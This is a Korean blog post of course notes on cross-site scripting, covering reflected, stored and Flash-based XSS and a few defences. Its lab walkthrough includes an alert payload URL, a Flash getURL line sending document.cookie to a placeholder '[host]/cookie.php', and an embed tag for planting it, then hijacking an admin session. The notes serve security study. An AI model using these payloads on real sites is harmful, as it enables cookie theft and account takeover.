본문으로 바로가기
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

8. XSS (Cross Site Scripting)


4) XSS 종류


▣ Reflective XSS

- 서버에 저장되지 않음.

- 공격자가 의도한 스크립트가 포함된 URL을 희생자에게 노출시킴.

- 내가 던져준 것이 다시 나에게 돌아오기만 하는 공간이면 됨 (ex. 검색창)

- 피싱 사이트에 많이 쓰임.

- 단점 : 웹 서버의 주소(DNS)가 신뢰도가 높은 사이트여야함. (짧은 주소로 바꿔도 되긴하나 요즘은 잘 사용하지 않음)

☞ 검색창에 script언어를 치면 url에 해당 스크립트가 담겨있는 주소가 뜸.

☞ http://192.168.129.129/board/board_search.asp?keyword=%3Cscript%3Ealert%28%22test%22%29%3C%2Fscript%3E

☞ 해당 url을 다른 pc에서 주소창에 입력하면 동일한 결과값이 뜸.


▣ Stored XSS

- 지난 시간에 실습했던 예시. http://hyeonnii.tistory.com/98

- 게시물과 같은 DB에 저장되는 형태.

- 서버 어딘가에 저장해두고 누군가가 읽기만하면 됨. (ex. 게시판, 프로필 내용)


▣ XSS - Flash Action Script

- Flash 자체는 매우 취약함. 자바스크립트 언어를 쓰기 때문에 스크립트 언어를 끼워넣을 수 있음!

- 장점 : 당하는 사람은 알아차리기가 어려움.

- 단점 : 플래시를 요즘은 잘 사용하지 않음.

- 예시

1. Flash가 포함된 웹 애플리케이션에 접속.

2. Flash 내부 Actionscript 함수 GetURL()이 동작.

3. 네이버 웹 사이트 열림.

- 실습

1. 읽는 사람의 쿠키정보를 얻어오는 스크립트를 넣은 플래시 파일을 하나 생성.

☞ getURL("javascript:document.location='http://[host]/cookie.php?data='+document.cookie");

2. 파일을 저장하면 목적파일과 비슷한 .fla 파일이 생성됨.

3. 플래시 파일을 생성하기 위해 [컨트롤 - 무비 테스트]를 눌러 .swf 파일을 생성.

4. 생성된 test.swf 파일을 웹 루트에 넣음.

5. 게시판에 해당 swf를 실행시키는 글을 작성.

☞ <embed src="http://[host]/test.swf" AllowScriptAccess="always"></embed>

6. admin 계정이 다른 pc에서 읽음

☞ 팝업창이 아닌 전체창을 가리는 것을 확인할 수 있음.. --> 추후에 수정법을 배움.

7. hack의 서버에서 쿠키값을 확인후 해당 쿠키로 바꾸어 admin 계정을 얻음.

====> 이 역시도 admin계정이 hack 계정으로 바뀌는 문제가 발생.


5) XSS 대응방안


▣ 웹 서버

- HTML 지원하지 않음. (사용자가 태그값 못쓰게)

- HTML을 화이트리스트 방식 허용. (블랙리스트보다 화이트리스트가 더 안전)


▣ 개인

- 팝업 차단 설정의 생활화(애초에 공격이 성립되지 않게 함)







i2sec 대구지점 23기 수료생.

'해킹&보안 > 웹 해킹&보안' 카테고리의 다른 글

[D+11] FileUpload & FileDownlaod  (0) 2017.05.21
[D+10] CSRF (Cross Site Request Forgery)  (0) 2017.05.21
[D+8] XSS (Cross Site Scripting)  (0) 2017.05.15
[D+8] OWASP TOP 10  (0) 2017.05.15
[D+7] 정보수집  (0) 2017.05.12